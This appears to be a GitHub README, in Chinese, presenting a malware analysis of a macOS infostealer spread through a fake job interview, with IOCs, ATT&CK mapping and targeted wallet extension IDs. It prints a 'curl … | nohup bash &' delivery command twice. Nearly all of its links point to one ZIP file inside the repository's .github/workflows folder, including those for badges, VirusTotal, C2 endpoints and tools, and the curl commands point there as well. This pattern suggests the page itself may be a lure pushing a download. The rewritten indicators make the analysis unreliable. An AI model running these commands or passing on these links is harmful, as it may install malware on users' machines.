geminijong-cpu/hyperhives-macos-infostealer-analysis

GitHub: geminijong-cpu/hyperhives-macos-infostealer-analysis

对 HyperHives macOS 信息窃取恶意软件的完整静态逆向分析,包含解密配置、C2 基础设施揭露、ATT&CK 技术映射以及可直接部署的威胁情报检测规则包。

Stars: 0 | Forks: 0

# HyperHives macOS 信息窃取器 — 完整技术分析 [![验证仓库](https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip)](https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip) [![许可证:MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE) [![STIX 2.1](https://img.shields.io/badge/STIX-2.1-informational)](stix/bundle.json) [![ATT&CK Navigator](https://img.shields.io/badge/ATT%26CK-Navigator_Layer-red)](attack-navigator-layer.json) | | | |---|---| | **样本 SHA-256** | `5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3` | | **C2 域名** | `cloudproxy.link` | | **投递域名** | `macos.hyperhives.net` | | **诱饵平台** | Wellfound(原 AngelList) | | **攻击者身份** | "HyperHive" 的 "Felix" | | **VirusTotal** | [9 / 63 检出](https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip) | | **分类** | 公开披露 / IOC 捆绑包 | | **最后更新** | 2026 年 4 月 | ## 目录 - [威胁情报包](#threat-intelligence-bundles) - [仓库结构](#repository-layout) - [快速入门](#quick-start) - [TL;DR](#tldr) - [1 — 起因](#1--how-it-started) - [2 — 二进制文件](#2--the-binary) - [3 — 窃取内容](#3--what-it-steals) - [4 — 解密的 C2 基础设施](#4--decrypted-c2-infrastructure) - [5 — 归因](#5--attribution) - [6 — 密码分析](#6--cryptanalysis) - [7 — MITRE ATT&CK 映射](#7--mitre-attck-mapping) - [8 — 钱包和扩展 ID 参考](#8--wallet-and-extension-id-reference) - [9 — 建议措施](#9--recommended-actions) - [10 — 分析方法](#10--methodology) - [附录 A — 全部 276 个 Chrome 扩展 ID](#appendix-a--all-276-chrome-extension-ids) - [范围与局限性](#scope-and-limitations) - [发布历史](#release-history) - [贡献](#contributing) - [许可证](#license) ## 威胁情报包 | 文件 | 格式 | 用途 | |------|--------|---------| | [`iocs.txt`](iocs.txt) | 纯文本 | 哈希、域名、URL、IP、电子邮件、Sentry ID — 粘贴到阻止列表、MISP、OpenCTI 中 | | [`yara_rules.yar`](yara_rules.yar) | YARA 4.2+ | 已知样本哈希匹配 + Mach-O 启发式字符串检测 | | [`sigma_rules.yml`](sigma_rules.yml) | Sigma | 代理、DNS 和进程创建规则 — 根据您的 SIEM 调整 `logsource` | | [`stix/bundle.json`](stix/bundle.json) | STIX 2.1 | 机器可读的 CTI 包,包含指标、恶意软件 SDO、基础设施、ATT&CK 模式和关系 | | [`attack-navigator-layer.json`](attack-navigator-layer.json) | ATT&CK Navigator | 导入 [ATT&CK Navigator](https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip) 以获取可视化技术覆盖范围 | ## 仓库结构 ``` . ├── README.md # This report ├── iocs.txt # Flat IOC list ├── yara_rules.yar # YARA detection rules ├── sigma_rules.yml # Sigma detection rules ├── stix/ │ └── bundle.json # STIX 2.1 threat-intelligence bundle ├── attack-navigator-layer.json # ATT&CK Navigator layer ├── output/ │ ├── full_decrypted_config.json # Machine-readable decrypted configuration │ ├── iocs.json # Structured IOC export │ ├── c2_protocol.txt # C2 protocol field documentation │ ├── cargo_dependencies.txt # Embedded Rust crate list (97 crates) │ ├── source_map.txt # Reconstructed source-file layout │ └── targets.txt # Targeted applications and data paths ├── scripts/ │ ├── decrypt_all.py # Definitive config decryptor (Unicorn emulation) │ ├── analyze.py # Static analysis driver │ ├── extract_all.py # String and structure extractor │ ├── r2_analyze.py # Radare2 analysis automation │ ├── r2_targeted.py # Targeted R2 analysis for helpers │ └── validate_repo.py # CI validation script ├── sample/ │ └── README.md # Instructions for sample placement ├── Dockerfile # Analysis container image ├── docker-compose.yml # Air-gapped compose config ├── lab.sh # Helper script for Docker lab ├── SECURITY.md # Safe handling and vulnerability reporting ├── CONTRIBUTING.md # Contribution guidelines ├── CHANGELOG.md # Release history ├── LICENSE # MIT └── .github/ ├── workflows/validate.yml # CI: YARA + Sigma + file checks ├── ISSUE_TEMPLATE/ # Structured issue forms └── PULL_REQUEST_TEMPLATE.md # PR checklist ``` ## 快速入门 将样本放置为 `sample/installer_binary`(有关哈希验证,请参阅 [`sample/README.md`](sample/README.md)),然后: ``` docker compose build docker compose run --rm lab python3 /lab/scripts/decrypt_all.py ``` Compose 文件强制使用 `network_mode: none`、`read_only: true`,并丢弃所有 Linux capabilities。有关完整的处理准则,请参阅 [`SECURITY.md`](SECURITY.md)。 ## 太长不看 **Wellfound**(原 AngelList)上的一则招聘信息引发了一系列来自攻击者身份 **"HyperHive"** 的 **"Felix"** 的多封电子邮件社会工程学攻击。在奉承目标的技术背景并安排了虚假面试之后,攻击者引导受害者前往 `hyperhives.net` “审查产品”,并特别指出要检查 **Settings → Diagnostics → Log** — 这是一个旨在触发以下内容执行的借口: ``` curl -s https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip | nohup bash & ``` 有效载荷是一个 **8.5 MB 的 Mach-O 通用二进制文件** (x86_64 + arm64),使用 Rust 编译。通过在物理隔离的 Docker 实验室进行静态分析,并对 **570 个独特的 x86_64 辅助例程** 进行 CPU 模拟,还原出了 **全部 571 个加密配置值**,暴露了以下内容: - **C2:** `cloudproxy.link` — 四个 HTTPS 端点 - **Sentry(归因切入点):** `ingest.de.sentry.io` 上带有组织/项目 ID 的完整 DSN - **构建身份:** Cargo 用户 `rootr`,代号 `force`,版本 `9.12.1` - **目标:** 276 个 Chrome 扩展 ID(加密钱包、密码管理器、企业凭证) 其策略与 **与 DPRK 相关的 Contagious Interview** 活动一致 — 在合法平台上进行虚假招聘、多步骤建立信任、`curl | bash` 交付、Rust macOS 窃取器以及专注于加密货币的数据窃取。 ## 1 — 起因 ### 诱饵:Wellfound 上的虚假面试 攻击始于 **Wellfound**(原 AngelList)上的一则**看似合法的招聘信息**。在目标申请之后,使用 **"Felix"** 身份和公司名称 **"HyperHive"** 的操作者发起了以下电子邮件链: **电子邮件 1**(2026 年 4 月 4 日) — 初次联系。“Felix”确认收到了目标的简历和 LinkedIn,声称他们的“技术负责人”已批准推进,并特别引用了目标真实的技术经验。该邮件称 HyperHive 正在“跨不同操作系统构建 Hyperhives 的桌面版本”,并邀请目标安排在 UTC+0 时区的面试。 **电子邮件 2**(2026 年 4 月 5 日) — 后续安排。提出了一个具体的面试时间(4 月 8 日 15:00 UTC),并包含了关键的有效载荷投递指令: 这引导目标前往 `https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip`,在那里导航到诊断部分会触发: ``` curl -s https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip | nohup bash & ``` ### 接下来发生的事情 该命令下载并执行了一个 8.5 MB 的 Mach-O 通用二进制文件。通过 AppleScript 弹出了一个**虚假的 macOS 密码对话框**。**密码未被输入。** 进程被立即终止,样本被保存以供分析。 ### 社会工程学手法总结 | 元素 | 详情 | |---------|--------| | **平台** | Wellfound (AngelList) — 合法的招聘网站 | | **公司名称** | "HyperHive"(单数)/ 域名 `hyperhives.net` | | **身份** | "Felix" | | **联系邮箱** | `collabs@hyperhives.net` | | **建立信任** | 引用了目标真实的简历、LinkedIn 和特定技术技能 | | **借口** | “面试前先审查产品” | | **有效载荷触发** | “在 `hyperhives.net` 上检查 Settings → Diagnostics → Log” | | **时间安排** | 虚假面试时间(4 月 8 日,15:00 UTC)以保持紧迫感 | | **多步骤链条** | 在投递有效载荷之前,至少在两天内发送了 2 封电子邮件 | ## 2 — 二进制文件 | 属性 | 值 | |----------|-------| | **文件** | `installer_binary` | | **大小** | 8,504,768 字节 | | **格式** | Mach-O Universal (x86_64 + arm64) | | **SHA-256** | `5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3` | | **SHA-1** | `2de897066c2fc7db91da78d7f9ded99237345077` | | **MD5** | `0e95ab4038ec48657563c96bed840dd5` | | **编译器** | rustc 1.87.0 (stable) | | **构建用户** | `rootr`(来自嵌入路径 `/Users/rootr/.cargo/registry/...`) | | **构建代号** | `force` | | **构建版本** | `9.12.1` | | **错误追踪** | Sentry Rust SDK v0.36.0 | | **Crate 数量** | 97(参见 `output/cargo_dependencies.txt`) | 该样本展现了生产级的工程质量:语义化版本控制、用于保障运营可靠性的 Sentry 集成,以及使用 570 个独立辅助函数加密的大型嵌入式配置。 ### VirusTotal 覆盖范围 **[完整报告](https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip)** — 截至初次提交时(2026 年 4 月),63 个引擎中有 9 个检出。**超过 85% 的引擎未能标记此样本。** | 引擎 | 检出名称 | |--------|---------------| | Kaspersky | `HEUR:Trojan-PSW.OSX.HashBreaker.e` | | DrWeb | `Mac.PWS.JobStealer.1` | | ESET-NOD32 | `OSX/PSW.Agent.BX Trojan` | | Microsoft | `Trojan:MacOS/Stealer!AMTB` | | Avast / AVG | `MacOS:Stealer-BU [Trj]` | | Elastic | `Malicious (high Confidence)` | | Cynet | `Malicious (score: 99)` | | SentinelOne | `Static AI - Suspicious Mach-O` | 用于交叉引用的著名供应商家族名称:**HashBreaker** (Kaspersky)、**JobStealer** (DrWeb)、**PSW.Agent.BX** (ESET)、**Stealer-BU** (Avast/AVG)。 **未检出的引擎包括:** BitDefender、CrowdStrike Falcon、Sophos、Symantec、McAfee、Malwarebytes、TrendMicro、Fortinet、ClamAV、Panda 以及其他 44 个引擎。这种低检出率凸显了该活动所使用的 Rust + 自定义混淆方法的操作有效性。 ## 3 — 窃取内容 ### 浏览器数据(基于 Chromium) | 浏览器 | 数据路径 | Keychain 条目 | |---------|-----------|----------------| | Chrome | `Google/Chrome` | `Chrome Safe Storage` | | Brave | `BraveSoftware/Brave-Browser` | `Brave Safe Storage` | | Opera | default | `Opera Safe Storage` | | Opera GX | default | `Opera Safe Storage 2023` | | Vivaldi | default | `Vivaldi Safe Storage` | | Microsoft Edge | default | `Microsoft Edge Safe Storage` | | Arc | `Arc/User Data` | — | | CocCoc | default | `CocCoc Safe Storage` | **窃取的数据类型:** 密码、信用卡、Cookie、会话令牌、自动填充、浏览历史记录。 ### macOS 系统数据 - **登录 Keychain** (`login.keychain-db`) — 需要通过虚假对话框获取的用户密码 - **Apple Notes** — 通过 AppleScript/osascript 窃取 - **硬件标识符** — `IOPlatformExpertDevice` / `IOPlatformUUID`,作为 `hardwares` 报告给 C2 ### 消息传递 - **Telegram Desktop** — `tdata` 会话资料,用于完全接管账户 ### 加密钱包(188 个逻辑目标,276 个扩展 ID) 全面针对浏览器扩展钱包,包括 MetaMask、Phantom、Trust Wallet、Ronin、Exodus、OKX、Bybit、Bitget、SubWallet、Ledger Live 和 Trezor Suite。完整映射请参见[第 8 节](#8--wallet-and-extension-id-reference)和 `output/full_decrypted_config.json`。 ### 密码管理器 | 产品 | 扩展 ID(示例) | |---------|--------------------------| | 1Password | `aeblfdkhhhdcdjpifhhbdiojplfjncoa`, `khgocmkkpikpnmmkgmdnfckapcdkgfaf`, `gejiddohjogedgjnonbofjigllpkmbf` | | ProtonPass | `ghmbeldphafepmbegfdlkpapadhbakde` | | Dashlane | `fdjamakpfbbddfjaooikfcpapjohcfmg` | | Deloitte Credentials | 企业凭证存储 | ### 规避与操作控制 | 特征 | 详情 | |---------|--------| | 虚拟机检测 | C2 JSON 中的 `is_vm` 标志 | | 强制模式 | `force_mode` 远程覆盖标志 | | Gatekeeper 绕过 | 对下载的二进制文件执行 `xattr -c` | | VPN 感知 | “Please use VPN and retry” 错误消息 | ### 数据外发 数据暂存在 `~/Documents/temp_data/Application/` 下,压缩为 ZIP,通过 HTTPS 上的 `multipart/form-data` 上传。受害者 IP 和地理位置通过 `https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip` 解析。 ## 4 — 解密的 C2 基础设施 ### 命令与控制 | 端点 | 角色 | |----------|------| | `https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip` | 信标 / 激活 | | `https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip` | 遥测 | | `https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip` | 指令 / 配置通道 | | `https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip` | 调试 / 诊断 | ### Sentry DSN(操作者指纹) ``` https://526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976.ingest.de.sentry.io/4509422649213008 ``` | 组件 | 值 | |-----------|-------| | **公钥** | `526eff9f8bb7aafd7117ca5e33a6a183` | | **组织 ID** | `4509139651198976` | | **项目 ID** | `4509422649213008` | | **区域** | EU — `ingest.de.sentry.io` | 通过 Sentry 的合法程序可能会恢复与此组织/项目绑定的账户注册详细信息、账单记录和访问元数据。 ### 地理定位 API `https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip` — 用于 C2 JSON(`ipAddress`,`countryCode`)的受害者 IP / 国家。 ### C2 数据外发协议 | 字段 | 角色 | |-------|------| | `buildName` / `buildVersion` | `force` / `9.12.1` | | `uid`, `log_id` | 受害者 / 会话标识符 | | `ip`, `geo` | 来自地理定位 API | | `pers_password` | 虚假对话框密码 | | `passwords`, `wallets`, `credits`, `autofills` | 窃取的材料 | | `is_vm`, `hardwares`, `force_mode` | 环境 / 控制标志 | 上传方法:`multipart/form-data`,`application/zip`,连接字符串 `UPLD connect`。 ## 5 — 归因 ### 失陷指标 | 指标 | 值 | 来源 | |-----------|-------|--------| | 诱饵平台 | Wellfound (AngelList) | 受害者报告 | | 操作者身份 | "HyperHive" 的 "Felix" | 诱饵电子邮件 | | 诱饵网站 | `hyperhives.net` | 诱饵电子邮件 | | 发件人邮箱 | `collabs@hyperhives.net` | 诱饵电子邮件 | | 投递域名 | `macos.hyperhives.net` | 有效载荷下载 | | 投递 IP | `81.28.12.12` (Gcore CDN) | DNS 解析 | | 注册商 / 邮件 | Tucows; Spacemail | WHOIS / MX | | **C2 域名** | **`cloudproxy.link`** | **从样本中解密** | | **Sentry DSN** | 参见[第 4 节](#sentry-dsn-operator-fingerprint) | **从样本中解密** | | 构建用户 | `rootr` | 嵌入的 Cargo 路径 | | 样本 SHA-256 | `5c7385c3...bf8dd3` | 文件哈希 | ### 开发者代号:`rootr` 嵌入路径 `/Users/rootr/.cargo/registry/`。关于该代号的 OSINT — [github.com/rootr](https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip)(截至分析日期):列出的公司为“RootR”,地点日内瓦,账户创建于 **2024-06-27**,公开仓库为零。这与一次性使用或操作 profile 一致。 ### DPRK / Contagious Interview(分析评估) | TTP | 此样本 | 已报道的与 DPRK 相关的模式 | |-----|-------------|--------------------------------| | **在合法平台上进行虚假招聘** | Wellfound (AngelList) 招聘信息 → 与“Felix”的电子邮件链 | Contagious Interview:LinkedIn、Indeed、Wellfound 上的虚假招聘人员主动联系 | | **多步骤社会工程学** | 引用真实简历的 2+ 封电子邮件,安排虚假面试 | 在投递有效载荷前建立信任;记录在多个 DPRK 活动中 | | **产品审查 / 代码测试借口** | “检查 Settings → Diagnostics → Log” | “审查我们的项目”/“运行此代码测试”借口 | | `curl \| bash` 投递 | 从 `macos.hyperhives.net` 安装单行命令 | 常见的 macOS 社会工程学向量 | | Rust Mach-O 通用二进制文件 | rustc 1.87.0,x86_64 + arm64 | RustDoor / RustBucket / 相似集群 | | 虚假密码对话框 | AppleScript `osascript` | 记录在相关的 macOS 活动中 | | 大量加密钱包目标集 | 276 个扩展 ID,188 个钱包名称 | 经济动机与 DPRK 的创收行为一致 | **置信度:** 在主题和 TTP 一致性方面为**高**。Wellfound 虚假招聘管道、多邮件信任链、产品审查借口、Rust macOS 窃取器以及专注于加密钱包的特征与 Contagious Interview 的作案手法高度吻合。这是一项分析评估,而非政府或执法机构的归因声明。 ## 6 — 密码分析 配置字符串受**自定义 XOR 密码**保护:570 个小型 x86_64 辅助函数(代码范围 `0x10000`–`0x15000`)各自从 `(data_ptr, seed)` 计算出独特的 16 位偏移量。该偏移量索引到二进制文件中以生成应用于相应密文块的 32 字节 XOR 密钥。 ### 失败的方法 | 方法 | 结果 | |--------|---------| | 朴素 XOR 扫描 | 无连贯明文 | | AES / PBKDF2 密钥猜测 | 未找到密钥调度 | | Rust 运行时的完整二进制 Unicorn 模拟 | 控制流复杂性导致发散 | ### 成功的方法 1. **扫描** 针对 config 区域(`0x2b8000`–`0x2bc000`)的 RIP 相对 `LEA` 指令。 2. **解析** 前面的代码以提取 `(helper_function_address, data_pointer, seed)`。 3. 使用 [Unicorn Engine](https://raw.githubusercontent.com/geminijong-cpu/hyperhives-macos-infostealer-analysis/main/.github/workflows/hyperhives-macos-infostealer-analysis-2.2.zip) 隔离**模拟**每个辅助程序(最多 200 条指令)。 4. 使用计算偏移量处的密钥对目标地址处的 32 字节块进行 **XOR 解密**。 5. 针对多块字符串(URL、DSN)和 OR+XOR 元数据条目进行**扩展**。 **覆盖率:** 381 个 XOR 块 + 190 个 OR+XOR 元数据条目 = 在 1.1 秒内**恢复了 571 个配置值**。零个未恢复的加密条目。 **实现:** [`scripts/decrypt_all.py`](scripts/decrypt_all.py) ## 7 — MITRE ATT&CK 映射 | 技术 | ID | 在此样本中的用途 | |-----------|----|--------------------| | 网络钓鱼 | T1566 | 来自 `collabs@hyperhives.net` 的社会工程学电子邮件 | | 用户执行:恶意文件 | T1204.002 | 来自诱饵的 `curl \| bash` | | 命令和脚本解释器:AppleScript | T1059.002 | 虚假密码对话框,Apple Notes 窃取 | | 命令和脚本解释器:Unix Shell | T1059.004 | 通过管道 bash 初始执行 | | 来自密码存储的凭证:Keychain | T1555.001 | 登录 Keychain 提取 | | 来自密码存储的凭证:来自 Web 浏览器的凭证 | T1555.003 | Chromium 登录数据解密 | | 窃取 Web 会话 Cookie | T1539 | 浏览器 cookie 和令牌窃取 | | 来自本地系统的数据 | T1005 | 钱包、Telegram、Notes、自动填充 | | 归档收集的数据 | T1560 | `~/Documents/temp_data/` 下的 ZIP 暂存 | | 通过 C2 通道的数据外发 | T1041 | 通过 HTTPS POST 发送至 `cloudproxy.link` | | 应用层协议:Web 协议 | T1071.001 | 具有四个端点的 HTTPS C2 | | 虚拟化/沙箱规避 | T1497 | `is_vm` 标志 | | 混淆的文件或信息 | T1027 | 570 个 XOR 辅助函数 | | 输入捕获 | T1056 | 虚假密码对话框 | | 系统信息发现 | T1082 | 硬件 ID 和 OS 版本收集 | | 系统网络配置发现 | T1016 | `freeipapi.com` 地理定位 | | 颠覆信任控制:Gatekeeper 绕过 | T1553.001 | 对下载的二进制文件执行 `xattr -c` | ## 8 — 钱包和扩展 ID 参考 还原出了 188 个钱包名称和 **276 个独特的** 32 字符 Chrome 扩展 ID。下表显示了高调目标;完整列表在[附录 A](#appendix-a--all-276-chrome-extension-ids) 和 `output/full_decrypted_config.json` 中。 | 钱包 | 扩展 ID | |--------|--------------| | MetaMask | `hnfanknocfeofbddgcijnmhnfnkdnaad` | | Phantom | `bfnaelmomeimhlpmgjnjophhpkkoljpa` | | Trust Wallet | `egjidjbpglichdcondbcbdnbeeppgdph` | | Ronin | `fnjhmkhhmkbjkkabndcnnogagogbneec` | | Exodus Web3 | `aholpfdialjgjfhomihkjbmgjidlcdno` | | OKX | `mcohilncbfahbmgdjkbpemcciiolgcge` | | Bybit | `pdliaogehgdbhbnmkklieghmmjkpigpa` | | Bitget | `jiidiaalihmmhddjgbnbgdfflelocpak` | | SubWallet | `onhogfjeacnfoofkfgppdlbmlmnplgbn` | | Coinbase Wallet | `hnfanknocfeofbddgcijnmhnfnkdnaad` | **桌面钱包:** Ledger Live 和 Trezor Suite 数据目录也是目标。 **重要提示:** 这些扩展 ID 标识的是**合法的浏览器扩展**,恶意软件旨在窃取其本地数据。它们**不是**恶意扩展。 ## 9 — 建议措施 ### 针对潜在受害者 - **切勿**运行未知的 `curl | bash` 单行命令 - 如果已暴露,请轮换所有浏览器存储的凭证、加密钱包密钥和密码管理器主密码 - 检查磁盘上是否存在 `~/Documents/temp_data/` - 向当地执法机构和相关的国家 CERT(例如 IC3、NCSC)报告 ### 针对防御者 - **阻止** `macos.hyperhives.net`、`cloudproxy.link` 和 `81.28.12.`(在阻止 IP 之前,请验证共享主机的影响) - **搜寻** 指向 `cloudproxy.link` 的 HTTPS 流量以及对这两个域名的 DNS 查询 - **部署** 本仓库中的 YARA 和 Sigma 规则(根据您的环境进行调整) - **对比** 已安装的 Chrome 扩展与 276 个 ID 列表(这些扩展是合法的 — 恶意软件读取的是它们的本地数据) - **导入** `stix/bundle.json` 到您的 CTI 平台(MISP、OpenCTI、ThreatConnect 等) ### 针对合法调查发现 | 目标 | 请求内容 | |--------|-----------------| | Sentry | 组织 `4509139651198976` 的账户和账单记录 | | 域名注册商 | `cloudproxy.link` 和 `hyperhives.net` 的 WHOIS 记录 | | Gcore CDN | `81.28.12.12` 的访问日志 | | 邮件提供商 | `collabs@hyperhives.net` 的账户记录 | | GitHub | `rootr` 的账户元数据 | ## 10 — 分析方法 分析是在 **Docker 容器**中进行的,包含: - `network_mode: none`(无出站连接) - `read_only: true`(不可变的根文件系统) - 丢弃所有 Linux capabilities(`cap_drop: ALL`) - `no-new-privileges` 安全选项 工具:Python(LIEF、Unicorn Engine、Capstone、r2pipe)、Radare2 和自定义脚本。未对恶意软件执行动态分析 — 所有发现均源自静态分析和对各个辅助函数的隔离 CPU 模拟。 已验证的产物:[`scripts/decrypt_all.py`](scripts/decrypt_all.py)、[`output/full_decrypted_config.json`](output/full_decrypted_config.json)。 ## 附录 A — 全部 276 个 Chrome 扩展 ID 恶意软件配置引用了这些扩展 ID(用户 profile 下的 local-storage / LevelDB 路径)。**这些 ID 标识的是被作为数据窃取目标的合法扩展,而不是恶意扩展。** ``` abkahkcbhngaebpcgfmhkoioedceoigp abogmiocnneedmmepnohnhlijcjpcifd acmacodkjbdgmoleebolmdjonilkdbch aeachknmefphepccionboohckonoeemg aeblfdkhhhdcdjpifhhbdiojplfjncoa afbcbjpbpfadlkmhmclhkeeodmamcflc afccgfbnbpgfdokbllhiccepgggofoco aflkmfhebedbjioipglgcbcmnbpgliof agoakfejjabomempkjlepdflaleeobhb ahkpfejaeoepmfopmbhjgjekibmfcfgo aholpfdialjgjfhomihkjbmgjidlcdno aiifbnbfobpmeekipheeijimdpnlpgpp aijcbedoijmgnlmjeegjaglmepbmpkpi ajofhbfomojicfifgoeeimefklkfdkfn ajopcimklncnhjednieoejhkffdolemp akckefnapafjbpphkefbpkpcamkoaoai akkmagafhjjjjclaejjomkeccmjhdkpa algblmhagnobbnmakepomicmfljlbehg amdcajcnofodjpgbbdnnjkffamfnidae amkmjjmmflddogmhpjloimipbofnfjih ammjlinfekkoockogfhdkgcohjlbhmff anokgmphncpekkhclmingpimjmcooifb aodkkagnadcbobfpggfnjeongemjbjca aoedbjimepepemdafoodplnknfkmbnle apgjfbcibghlclbdiipmojppngeilcol bbjmepflljbbfaehppakknfgdnojoled bccippoanbhflmokhkbkepmhmndijenh bcpialkijhffpgnmgjhjmdeabdbbfmbo bdgmdoedahdcjmpmifafdhnffjinddgc bfeplaecgkoeckiidkgkmlllfbaeplgm bflldjbbpcjgooclhpmhdhioebmnnkcm bfnaelmomeimhlpmgjnjophhpkkoljpa bgjogpoidejdemgoochpnkmdjpocgkha bhhhlbepdkbapadjdnnojkbgioiodbic bhmbcdekobebkhmloafbjfdcphbmpcnm bidcmgjdfgkagkleecdockomdjlgglbg bifidjkcdpgfnlbcjpdkdcnbiooooblg blnieiiffboillknjnepogjhkgnoapac bmkakpenjmcpfhhjadflneinmhboecjf bmmhjnaohafphhlecmkkiaaglcebcapn bodadjcgfgigmmnambomndppidgdjlni bplepbelihejfpcjoeialhjpamgpnfln caalbmclnkldkcgcdkfiapoopikbofnl cgeeodpfagjceefieflmdfphplkenlfk cihmoadaighcejopammfbmddcmdekcje ciojocpkclfflombbcfigcijjcbkmhaf cjelfplplebdjjenllpjcblmjkfcffne ckklhkaabbmdjkahiaaplikpdddkenic cmbagcoinhmacpcgmbiniijboejgiahi cmoakldedjfnjofgbbfenefcagmedlga cnmbailpgmdagpofalkeoeooefdkjfdl cnncmdhjacpkmjmkcafchppbnpnhdmon cnoepnljjcacmnjnopbhjelpmfokpijm codfcglpplgmmlokgilfkpcjnmkbfiel cpmkedoipcpimgecpmgpldfpohjplkpp dbgnhckhnppddckangcjbkjnlddbjkna dcbjpgbkjoomeenajdabiicabjljlnfp dfbacijefbcabjnngipfnbhcpoldlkcg dkdedlpgdmmkkfjabffeganieamfklkm dlcobpjiigpikoobohmabehhmhfoodbb dldjpboieedgcmpkchcjcbijingjcgok dmjmllblpcbmniokccdoaiahcdajdjof dngmlblcodfobpdpecaadgfbcggfjfnm dpcklmdombjcplafheapiblogdlgjjlb dpdmipjakdiapplcecdmgckknipnfjph dpealdfjgahljjdekeiadjnfgpijffhg dpmfhilhjlhhakpbieclcghochdofeao eaeecbmeajhliilmacefcgjnnijkkfki ebaeifdbcjklcmoigppnpkcghndhpbbm ebfidpplhabeedpnhjnobghokpiioolj efbglgofoippbgcjepnhiblaibcnclgk egjidjbpglichdcondbcbdnbeeppgdph ehgjhhccekdedpbkifaojjaefeohnoea ehjiblpccbknkgimiflboggcffmpphhp ejbalbakoplchlghecdalmeeeajnimhm ejbidfepgijlcgahbmbckmnaljagjoll ejdmhlhkcfbkcoifejkcbonhodkgflgg ejjladinnckdgjemekebdpeokbikhfci elalghlhoepcjfaedkcmjolahamlnjcp eljobehkpcnpekmbcjiidekjhkbcnpkf ellkdbaphhldpeajbepobaecooaoafpg emafjfadeeammocialbgjbaeldmpddne emeeapjkbcbpbpgaagfchmcgglmebnen emgcpdnckldpdhjgmkeeahfaokmhgpab enabgbdfcbaehmbigakijjabdpdnimlg epapihdplajcdnnkdeiahlgigofloibg fajmdbbmcncahahilpfdiacamedmgdlk fbplgegfggencanbeceipjpanlmgpkfi fcckkdbjnoikooededlapcalpionmalo fcfcfllfndlomdhbehjjcoimbgofdncg fcjkomdnccnlklmhncgmaehaakjkddnk fdchdcpieegfofnofhgdombfckhbcokj fdcnegogpncmfejlfnffnofpngdiejii fdjamakpfbbddfjaooikfcpapjohcfmg fhbohimaelbohpjbbldcngcnapndodjp fhilaheimglignddkjgofkcbgekhenbh fhmmkjofdcpnoklcbcnbjjhigobceikb fihkakfobkmkjojpchpfgcmhfjnmnfpi fijngjgcjhjmmpcmkeiomlglpeiijkld fjghjobbfggoacelnibacipoilennobn fldfpgipfncgndfolcbkdeeknbbbnhcc fmpbldieijjehhalgjblbpgjmijencll fnabdmcgpkkjjegokfcnfbpneacddpfh fnjhmkhhmkbjkkabndcnnogagogbneec fnnegphlobjdpkhecapkijjdkgcjhkib fopmedgnkfpebgllppeddmmochcookhc fpibioaihcagphbidhodidjbnclocgll fpkhgmpbidmiogeglndfbkegfdlnajnf gbjepgaebckfidagpfeioimheabiohmg gdokollfhmnbfckbobkdbakhilldkhcj gejiddohjgogedgjnonbofjigllpkmbf ghihpcdpbjaaomhlfnhdlocimojkinpm ghlmndacnhlaekppcllcpcjjjomjkjpg ghmbeldphafepmbegfdlkpapadhbakde gjlmehlldlphhljhpnlddaodbjjcchai gkeelndblnomfmjnophbhfhcjbcnemka gkhnjcpkikkkfhhdhhphcbhmkikoicgn gkpbmnplcjdnnmmiaaphofhdiicdhfah glhefpglgefbmegkpjkdgoikologepdl hbbgbephgojikajhfbomhlmmollphcad hbdheoebpgogdkagfojahleegjfkhkpl hbinmkhlebcnghpikoekkbeljbealbje hbneiaclpaaglopiogfdhgccebncnjmc hbnpcbochkgodkmmicbhfpmmkhbfbhim hddkffjleepiafmkhcneldjipkfkkofk hdokiejnpimakedhajhdlcegeplioahd heefohaffomkkkphnlpohglngmbcclhi hgbeiipamcgbdjhfflifkgehomnmglgk hgnpaljkalilofmmbhgkkldbdbogddlo hifafgmccdpekplomjjkcfgodnhcellj hlbmghfhijdlnllnnnakmcagdfhhkfna hmeobnfnfcmdkdcmlblgagmfpfboieaf hnfanknocfeofbddgcijnmhnfnkdnaad hnhobjmcibchnmglfbldbfabcgaknlkj hpbgcgmiemanfelegbndmhieiigkackl hpclkefagolihohboafpheddmmgdffjm hpglfhgfnhbgpjdenjgmdgoeiappafln hpjiiechbbhefmpggegmahejiiphbmij ibjflpbmadchofnbpppegdbnifdgincp ibljocddagjghmlpgihahamcghfggcjc 